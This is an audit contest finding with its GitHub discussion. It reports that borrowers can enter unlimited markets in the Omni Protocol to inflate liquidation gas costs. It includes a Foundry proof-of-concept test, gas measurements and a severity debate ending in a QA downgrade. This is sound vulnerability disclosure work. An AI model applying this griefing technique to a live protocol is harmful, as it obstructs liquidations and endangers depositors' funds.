code-423n4 / 2023-11-betafinance-findings

1 stars 1 forks source link

Borrower can abuse enterMarkets to force liquidator can pay more fund #19

Open c4-submissions opened 1 year ago

c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-11-betafinance/blob/0f1bb077afe8e8e03093c8f26dc0b7a2983c3e47/Omni_Protocol/src/OmniPool.sol#L331 ttps://github.com/code-423n4/2023-11-betafinance/blob/0f1bb077afe8e8e03093c8f26dc0b7a2983c3e47/Omni_Protocol/src/OmniPool.sol#L232 https://github.com/code-423n4/2023-11-betafinance/blob/0f1bb077afe8e8e03093c8f26dc0b7a2983c3e47/Omni_Protocol/src/OmniToken.sol#L81 https://github.com/code-423n4/2023-11-betafinance/blob/0f1bb077afe8e8e03093c8f26dc0b7a2983c3e47/Omni_Protocol/src/OmniPool.sol#L96

Vulnerability details

Impact

Borrower can abuse enterMarkets to force liquidator can pay more fund

Proof of Concept

Liquidation process is in place to make sure the bad debt is paid

and when liqudiator repay the debt, he can seize the asset of the borrower as reward

but bad user who does not want to repay the debt can force liquidator to pay more fund and even block liquidation

when liquidating, this line of code is called

Evaluation memory evalBefore = _evaluateAccountInternal(_params.targetAccountId, poolMarkets, targetAccount);

then for every pool market, the liquidator needs to pay the gas to call accure interest

    function _evaluateAccountInternal(bytes32 _accountId, address[] memory _poolMarkets, AccountInfo memory _account)
        internal
        returns (Evaluation memory eval)
    {
        ModeConfiguration memory mode;
        if (_account.modeId != 0) { mode = modeConfigurations[_account.modeId]; }
        for (uint256 i = 0; i < _poolMarkets.length; ++i) {
            // Accrue interest for all borrowable markets
            IOmniToken(_poolMarkets[i]).accrue();
        }

note the function call

 IOmniToken(_poolMarkets[i]).accrue();

for each pool market, at most the for accure function for loop runs 255 interaction

uint8 trancheIndex = trancheCount;
uint256 totalBorrow = 0;
uint256 totalDeposit = 0;
uint256[] memory trancheDepositAmounts_ = new uint256[](trancheCount);
uint256[] memory trancheAccruedDepositCache = new uint256[](trancheCount);
while (trancheIndex != 0) {
    unchecked {
        --trancheIndex;
    }

because the max trancheCount is uint8

but note there is no check for borrower to add pool market any time by calling enterMarkets

the enterMarkets does not restrict the max number of market entered and does not validate if the borrower already have borrow position

before the liquidation happens, the borrower can select a lot of markets with high tranche count that does not accure interest yet to enter the market

then liquidator has to pay the gas to run the for loop of accuring, which is clearly a lose of fund for liquidator

the number of for loop iteration is

number of pool market added by borrower * tranche count

this is a unbounded loop and can exceed the block limit

and then the liquidator may not have incentive to liquidate once the gas paid for accuring exceed the bonus, then bad debt is accuring and make the pool insolvent

as for POC

can add this test to TestOmniPool.t.sol

     function test_LiquidateNoIsolated_poc() public {

        uint256 length = 1000;
        address[] memory newMarkets = new address[](length);

        uint256[] memory borrowCaps = new uint256[](3);
        borrowCaps[0] = 1e9 * (10 ** uToken.decimals());
        borrowCaps[1] = 1e3 * (10 ** uToken.decimals());
        borrowCaps[2] = 1e2 * (10 ** uToken.decimals());

        for (uint256 i; i < length; ++i) {
            OmniToken oooToken = new OmniToken();
            oooToken.initialize(address(pool), address(uToken), address(irm), borrowCaps);
            IOmniPool.MarketConfiguration memory mConfig1 =
            IOmniPool.MarketConfiguration(0.9e9, 0.9e9, uint32(block.timestamp + 1000 days), 0, false);
            pool.setMarketConfiguration(address(oooToken), mConfig1);
            newMarkets[i] = address(oooToken);
        }

        test_SetLiquidationBonus();
        IIRM.IRMConfig[] memory configs = new IIRM.IRMConfig[](3);
        configs[0] = IIRM.IRMConfig(0.01e9, 1e9, 1e9, 1e9);
        configs[1] = IIRM.IRMConfig(0.85e9, 0.02e9, 0.08e9, 1e9);
        configs[2] = IIRM.IRMConfig(0.8e9, 0.03e9, 0.1e9, 1.2e9);
        uint8[] memory tranches = new uint8[](3);
        tranches[0] = 0;
        tranches[1] = 1;
        tranches[2] = 2;
        irm.setIRMForMarket(address(oToken), tranches, configs);
        oToken.deposit(0, 2, 1e2 * 1e18);
        vm.startPrank(ALICE);

        oToken.deposit(0, 0, 0.1e2 * 1e18);
        oToken.deposit(0, 1, 0.1e2 * 1e18);
        oToken.deposit(0, 2, 0.8e2 * 1e18);
        address[] memory markets = new address[](1);
        markets[0] = address(oToken);
        pool.enterMarkets(0, markets);
        pool.borrow(0, address(oToken), 0.9216e2 * 1e18);

        // pool.enterMarkets(0, newMarkets);

        vm.stopPrank();
        vm.warp(365 days);

        pool.enterMarkets(0, markets);

        uint256 gas = gasleft();
        uint256[] memory seizedShares = pool.liquidate(
            IOmniPool.LiquidationParams(
                address(ALICE).toAccount(0),
                address(this).toAccount(1),
                address(oToken),
                address(oToken),
                0.2e2 * 1e18
            )
        );
        console.log("gas used: ", gas - gasleft());

    }

basically we construct 1000 markets

first we comment out the bad user's

// pool.enterMarkets(0, newMarkets);

and run the test

forge test -vv --match-test "test_LiquidateNoIsolated_poc"

the output is

Running 1 test for src/tests/TestOmniPool.t.sol:TestOmniPool
[PASS] test_LiquidateNoIsolated_poc() (gas: 3177349635)
Logs:
  gas used:  159429

this means the liquidator pays 159429 amount of gas to liquidate the user

but if we uncomment the line of code "pool.enterMarkets(0, newMarkets)"

liquidator are force to call accure thousands of times in the loop

and we run the test again using the same comment

the gas used is

Running 1 test for src/tests/TestOmniPool.t.sol:TestOmniPool
[PASS] test_LiquidateNoIsolated_poc() (gas: 3207995288)
Logs:
  gas used:  31572426

if the user call enter markets to enter more market, liquidation is likely to in out of gas

as long as the user make liquidator feel like the gas cost of calling accure is greater than liquidation seized asset, there will be no liquidation

Tools Used

Manual Review

Recommended Mitigation Steps

validate the max number of entered market for borrower

does not allow user to add more market if the user has borrow position

Assessed type

DoS

thereksfour commented 1 year ago

External requirement for a lot of inactive markets, and in case of DOS the liquidator can manually call OmniToken.accrue(). Consider Medium.

c4-judge commented 1 year ago

thereksfour marked the issue as satisfactory

c4-judge commented 1 year ago

thereksfour changed the severity to 2 (Med Risk)

c4-judge commented 1 year ago

thereksfour marked the issue as primary issue

JeffCX commented 1 year ago

External requirement for a lot of inactive markets, and in case of DOS the liquidator can manually call OmniToken.accrue().

Sir,

emm borrower should not interfere with liquidation, I think this invariant should hold for all lending protocol

just like https://curve.fi/#/ethereum/pools

the admin will keep adding new market and new tranches

so even the market is active,

if user intentionally enter a lot of market, it is unlikely that the liquidator can call accure with other accure transaciton in the same block to make sure the time elapse is 0

only when time elapse is 0, the accure function call is skipped

function accrue() public {
  uint256 timePassed = block.timestamp - lastAccrualTime;
  if (timePassed == 0) {
      return;
  }

so the liquidator still force to pay the gas for the for loop (number of market * number of tranches)

and in case of DOS the liquidator can manually call OmniToken.accrue().

emm liquidator still pay the cost,

I politely think the severity is high because again,

liquidation is the only way for user A to erase user B's debt

once loop cost is greater than liquidation bonus, such repayment is unlikely to happen or even cannot happen

if a bad whale user select a high risk tranche and overborrow and the collateral price drops

all user from lower risk tranche cannot withdraw fund because of this check during withdraw)

 function _checkBorrowAllocationOk() internal view returns (bool) {
        uint8 trancheIndex = trancheCount;
        uint256 totalBorrow = 0;
        uint256 totalDeposit = 0;
        while (trancheIndex != 0) {
            unchecked {
                --trancheIndex;
            }
            totalBorrow += tranches[trancheIndex].totalBorrowAmount;
            totalDeposit += tranches[trancheIndex].totalDepositAmount;
            if (totalBorrow > totalDeposit) {
                return false;
            }
        }
        return true;
    }

if higher tranche overborrow (and no liquidation and repayment on time), all lower tranche user withdraw get blocked

thereksfour commented 1 year ago

Great points, need thoughts from sponsors.

stalinMacias commented 12 months ago

I think this issue should've been submitted as a med originally, and then downgraded to QA, this report is implying the fact that liquidators won't be willing to pay for the extra gas cost that it would take to liquidate an account that has entered many markets, but a couple of points here, liquidators are not only external parties to the protocol, the protocol itself has active liquidators who I'm quite sure won't mind paying the extra gas to liquidate such accounts and prevent the markets from accruing bad debt, yes, maybe the gas cost of the liquidation might be less than the rewards, but that is also unlikely, because the borrowerFactor is not 1:1, so, per each dollar borrowed it needs to be more than 1 dollar in collateral.

Another point is for a user to potentially cause something like this it also needs to have paid the gas costs of entering many markets, so, the argument that liquidators may pay more gas when liquidating it also applies to borrowers, what's the benefit for them if at the end they would still be liquidated?

JeffCX commented 12 months ago

lose of fund is number of extra markets entered times number of tranches times how many people do this exploit

stalinMacias commented 12 months ago

By lose of funds you mean the extra gas that needs to be payed to liquidate these type of users? If so, I don't think there will be much users who will be willing to spend the extra assets to just cause the liquidators spend more gas to liquidate them.

It is a proportionate amount of gas that users need to pay for this to be an issue than the amount the liquidators would end up spending more. Don't see the economic benefit for a user to do it.

djb15 commented 12 months ago

I was exploring this during the audit and I came to the conclusion that this was a non-issue for the following reasons:

JeffCX commented 12 months ago

Furthermore, the liquidator can choose not to liquidate a user if it is unprofitable. Most liquidators will liquidate only when funds seized exceed potential gas costs.

that is exactly what user want, then no one will clear the bad debts if user does not pay the borrow + interest, which is really bad,

here https://github.com/code-423n4/2023-11-betafinance-findings/issues/19#issuecomment-1798303605

again, when total borrower exceed total deposit and no one wants to repay the debt, all user fund is locked (user cannot withdraw)

but I calculated that you'd need to enter ~7000 markets with a few tranches to hit the block gas limit on BSC.

this issue mainly concerns with ethereum mainnet, certainly ETH as gas token is worth much more than BNB and the block gas limit is much lower

djb15 commented 12 months ago

again, when total borrower exceed total deposit and no one wants to repay the debt, all user fund is locked (user cannot withdraw)

Wouldn't this only happen if the potential gain from the liquidation was sufficiently low? Yes you could end up with bad debt but this would be a small amount that the admin could socialise?

this issue mainly concerns with ethereum mainnet, certainly ETH as gas token is worth much more than BNB and the block gas limit is much lower

True re ETH obviously being more valuable. BSC block gas limit is 140m and Ethereum block gas limit is 30m, so you'd still have to join ~1500 markets on Ethereum.

I completely understand where you're coming from as I was thinking about this scenario a lot, but I just came to the conclusion that this was a QA at most. But will let the sponsor + judge discuss further and if it's a Medium then it's my fault for not submitting it as a QA to get upgraded!

JeffCX commented 12 months ago

Wouldn't this only happen if the potential gain from the liquidation was sufficiently low? Yes you could end up with bad debt but this would be a small amount that the admin could socialise?

socialize cannot be called without liquidation

the potential gain is sufficiently low once the deposit worth + the extra cost of running unbounded loop does not cover the debt

Still maintain the view that severity is high because there is nothing prevent from a bad user to do that, all other issue (borrower tier index out of bounds can be resolved by admin)

admin cannot help user remove market

the fact that user can enter a lot of market in batch only once but make liquidator the unbounded loop gas cost every time makes the attack cost very low

interested in hearing spsonsor thoughts 👍

stalinMacias commented 12 months ago

the fact that user can enter a lot of market in batch only once but make liquidator the unbounded loop gas cost every time makes the attack cost very low

Well, users can enter all the markets at once in a batch, but the fact that the market is just entered is doesn't mean that it will be iterated when evaluating the account, if the user doesn't have deposit or borrows, the market is just skipped, so, per each entered market, the user needs to send a separate transaction to either borrow or deposit into the market, that makes the "attack" to cost more than the difference that a liquidator needs to absorbe to liquidate such type of accounts

JeffCX commented 12 months ago

Well, users can enter all the markets at once in a batch, but the fact that the market is just entered is doesn't mean that it will be iterated when evaluating the account, if the user doesn't have deposit or borrows, the market is just skipped

as long as the user enter the market, the liquidator has to pay the cost to accure interest (looping over all available tranche id of that market)

it has nothing to do whether user has deposit / borrow on that market

https://github.com/code-423n4/2023-11-betafinance/blob/0f1bb077afe8e8e03093c8f26dc0b7a2983c3e47/Omni_Protocol/src/OmniPool.sol#L232

    function _evaluateAccountInternal(bytes32 _accountId, address[] memory _poolMarkets, AccountInfo memory _account)
        internal
        returns (Evaluation memory eval)
    {
        ModeConfiguration memory mode;
        if (_account.modeId != 0) { mode = modeConfigurations[_account.modeId]; }
        for (uint256 i = 0; i < _poolMarkets.length; ++i) {
            // Accrue interest for all borrowable markets
            IOmniToken(_poolMarkets[i]).accrue();
        }
stalinMacias commented 12 months ago

it has nothing to do whether user has deposit / borrow on that market

Yes and not, because if there are no borrows in the market, the while in the accrue() will just continue onto the next tranch, so, for this attack to be possible it requires that all markets have borrows.

I believe we could continue to expose our arguments for a long time, but ultimately, the main argument here is: "liquidators may pay more gas to liquidate an user", the liquidations can't be dosed, is just a matter of accruing the interests in the markets before executing the liquidation, so, if the only problem is about the gas that needs to be payed, that sounds either like a good low, or a gas related finding, but the main point is that the liquidations are not dosed, based on that, I don't feel like the severity classifies as a med

JeffCX commented 12 months ago

the liquidations can't be dosed, is just a matter of accruing the interests in the markets before executing the liquidation,

liquidation can get blocked and dosed if the unbounded loop gas cost is too high

is just a matter of accruing the interests in the markets before executing the liquidation

liquidator still have to pay that cost as loss and yeap user pick the active market that has borrow with a lot tranche can maximize liquidator's cost.

unless liquidator pray some user call accure as well before him within the same block

stalinMacias commented 12 months ago

liquidation can get blocked and dosed if the unbounded loop gas cost is too high

In the hypothetical event that this happens, the dosed is prevented by accruing individually the markets

liquidator still have to pay that cost as loss and yeap user pick the active market that has borrow with a lot tranche can maximize liquidator's cost.

The protocol themselves are liquidators, I don't think they will let their markets to accrue bad debt because the need to pay some extra gas to execute the liquidation.

Keep in mind, liquidations are possible as soon as the collateral is below a certain threshold, it could be an 80%, 90%, of the total debt, so, that threshold gives a wide window of difference to cover the difference of the extra gas that needs to be payed. Liquidations are not only possible when the debt exceeds the collateral, but when the debt exceeds the healthy threshold. Suppose user collateral is worth 1000, and his debt is worth 900, if the health threshold is set to a 90%, the liquidation is executable at this point, so, there is a very wide range to cover for the extra gas, plus, user lost all his collateral, the protocol gets the reserveRewards, depositors accrue their interest.

JeffCX commented 12 months ago

Liquidations are not only possible when the debt exceeds the collateral, but when the debt exceeds the healthy threshold.

that is not up to the protocol

if a bad user decides to not repay, he can enter a lot of market any time between he borrows and when the asset is unhealthy

stalinMacias commented 12 months ago

if a bad user decides to not repay, he can enter a lot of market any time between he borrows and when the asset is unhealthy

So, supposing the user will enter all the markets instead of repaying his debt. The account is unhealthy and a liquidation is possible. The health factor is 10%. So, the liquidator spends 50-100 usd in extra gas calling the accrue() in the individual markets (assuming there are thousands of markets), now the liquidation will not have problems because of the accrue(), it has already been accrued, so, then, the values of borrows and deposits will be computed, and vohala, the user's debt exceeds the threshold, it will be liquidated. Suppose the user had 1k worth of collateral and his debt was 900usd, so, the difference for the liquidator to cover the extra gas it needed to pay is 100usd. Result? The liquidator may lose a couple bucks (if there are ever thousands of markets), but the user loses all his collateral, which makes no sense to borrow 900usd and lost 1k usd, this is not an attack, this is self-wreckering, why would a user be willing to lost money trying to perform an attack that does nothing but just cause the liquidator to spend some more extra gas?

JeffCX commented 12 months ago

So, the liquidator spends 50-100 usd

depends on the number of markets entered, the cost can be much higher

the user will enter all the markets instead of repaying his debt. The account is unhealthy and a liquidation is possible.

why? are you saying entering more market without bringing can make user account unhealthy?

user only enter one market and borrow from that one market

user does not borrow from other market that he enters or even have deposit to other market so there is nothing to liquidate for other market

and liquidation is performed paired by individual market and by account id

https://github.com/code-423n4/2023-11-betafinance/blob/0f1bb077afe8e8e03093c8f26dc0b7a2983c3e47/Omni_Protocol/src/interfaces/IOmniPool.sol#L93

   struct LiquidationParams {
        bytes32 targetAccountId; // The unique identifier of the target account to be liquidated.
        bytes32 liquidatorAccountId; // The unique identifier of the account initiating the liquidation.
        address liquidateMarket; // The address of the market from which to repay the borrow.
        address collateralMarket; // The address of the market from which to seize collateral.
        uint256 amount; // The amount of the target account's borrow balance to repay. If _amount is 0, liquidator will repay the entire borrow balance, and will error if the repayment is too large.
    }
stalinMacias commented 12 months ago

why? user only enter one market and borrow from that one market

Isn't the argument of this report the fact that user will enter all the markets to cause the problems with the accrue() instead of repaying his debt????

user does not borrow from other market that he enters or even have deposit to other market so there is nothing to liquidate for other market

It doesn't need to borrow or deposit in other markets, the user needs to have deposited more collateral than what it borrows, it doesn't matter if the loan was taken from a different market than the market where the deposited collateral is, ultimately, the deposited collateral will be seized, and such seized collateral needs to be worth more than the healthy threshold, otherwise the liquidation is possible. That's the point of my example, if the user deposited 1k worth of collateral in Market A,and the healthy threshold is 90%, that means the user can ever borrow at most 900usd in any market. That means, when the account is unhealthy, the seized amount have a window range of 100 usd to cover for extra gas payed, liquidator rewards, depositors yield and protocol feees.

JeffCX commented 12 months ago

user only enter one market and borrow from that one market

I mean only when user enter a market and borrow from that market, the user's account healthy is reduced

if user only enter a market and does not borrow, enter a lot of market cannot really make user unhealthy

I think we already enter a point when we repeat our argument

let us wait for sponsor's review

T1MOH593 commented 12 months ago

Want to mention that with high enough markets entered, accrue() loop will exceed block gas limit and can't be ever processed. Interest must be recalculated in block of liquidation - hence liquidations are dosed. But there is one strict requirement: high enough number of markets configured, therefore consider it's Medium

allenjlee commented 12 months ago

I view this as more of a QA issue or Low issue, as this is dependent that the protocol admin (even moderately not needing hundreds or thousands) chooses to have dozens of tokens listed as assets to be borrowable assets (i.e. non-isolated assets). Don't think this would happen as we would only list assets where there is borrowing demand for them, and most borrowing demand (>99%) is concentrated on stables and ETH/LSDs. There should be no issue with listing infinitely many isolated collateral assets, as the # of isolated collateral assets per account is always limited to 1 by construction.

I think user's should also be able to enter markets if they have an active borrow position, as it potentially allows them to further collateralize their position. Otherwise, you have bad UX where the borrower can't use any other collateral they didn't already have when first initiating the borrow position.

We've decided to add a check in the enterMarkets function that checks whether the existing + new market length exceeds some constant, which we have set to 9.

This is similar to #3

c4-sponsor commented 12 months ago

allenjlee marked the issue as disagree with severity

c4-sponsor commented 12 months ago

allenjlee (sponsor) confirmed

thereksfour commented 11 months ago

Downgraded to QA as per sponsor's comments

c4-judge commented 11 months ago

thereksfour changed the severity to QA (Quality Assurance)

JeffCX commented 11 months ago

I view this as more of a QA issue or Low issue, as this is dependent that the protocol admin (even moderately not needing hundreds or thousands) chooses to have dozens of tokens listed as assets to be borrowable assets (i.e. non-isolated assets).

if using thousands market is too much and not realistic, let us use a more realistic configuration

Screenshot 2023-11-13 at 5 33 14 PM

curve has 88 market

let us just say there are 80 market

In original POC, we create 1000 market and each market has only 1 tranche and the for loop nears the block limit

    function test_LiquidateNoIsolated_poc() public {

        uint256 length = 1000;
        address[] memory newMarkets = new address[](length);

now we change the length to 80 (less than curve)

and we run the test again

forge test -vv --match-test "test_LiquidateNoIsolated_poc"

the gas consumed during liquidation is

Running 1 test for src/tests/TestOmniPool.t.sol:TestOmniPool
[PASS] test_LiquidateNoIsolated_poc() (gas: 248290982)
Logs:
  gas used:  2620763

note if the user does not abuse the enter market, as show in the original report

the gas used is

Running 1 test for src/tests/TestOmniPool.t.sol:TestOmniPool
[PASS] test_LiquidateNoIsolated_poc() (gas: 3177349635)
Logs:
  gas used:  159429

ok

how many fund protocol has to overpay to liquidate these bad user?

let us compute it with python


gas_overpay = 2620763
gas_regular = 159429
gas_price = 45000000000 # 45 GWEI

print((gas_overpay - gas_regular) * gas_price / 10**18)

we use gas price as 45 GEI

https://etherscan.io/gastracker

the output is

0.11076003

assume ETH price is 2000, pretty much for each liquidation the protocol has to overpay 200 USD in the form of ETH

if this issue is not discovered

if there are 1000 bad user and protocol wants to run the liquidation 1000 times, fund losts is 1000 * 200 -> 20K...

the fund lost depends on how many tranches in each market and the gas price as well.. so even with sponsor and judge comments

External requirement for a lot of inactive markets, and in case of DOS the liquidator can manually call OmniToken.accrue(). Consider Medium.

I politely think the medium severity stands

thereksfour commented 11 months ago

It is worth noting that the gas cost for the user to enter 80 markets is 3409364, which is more than the gas cost for liquidation probably because continue is executed in accrue() due to no borrowing in the new market.

    function accrue() public {
        uint256 timePassed = block.timestamp - lastAccrualTime;
        if (timePassed == 0) {
            return;
        }
        uint8 trancheIndex = trancheCount;
        uint256 totalBorrow = 0;
        uint256 totalDeposit = 0;
        uint256[] memory trancheDepositAmounts_ = new uint256[](trancheCount);
        while (trancheIndex != 0) {
            unchecked {
                --trancheIndex;
            }
            OmniTokenTranche storage tranche = tranches[trancheIndex];
            uint256 trancheDepositAmount_ = tranche.totalDepositAmount;
            uint256 trancheBorrowAmount_ = tranche.totalBorrowAmount;
            totalBorrow += trancheBorrowAmount_;
            totalDeposit += trancheDepositAmount_;
            trancheDepositAmounts_[trancheIndex] = trancheDepositAmount_;

            if (trancheBorrowAmount_ == 0) {
                continue;
            }

Going back to severity, the reason for downgrading it to QA is that according to the sponsor's comments, there are not enough markets to cause DOS. But outside of DOS, this is also a griefing issue. I.e. users could enter many markets to make the liquidator pay more gas (or even not liquidate due to cost), at this point I agree that it is Medium. Looking forward to more discussion, if not will escalate it to M before the end of pjQA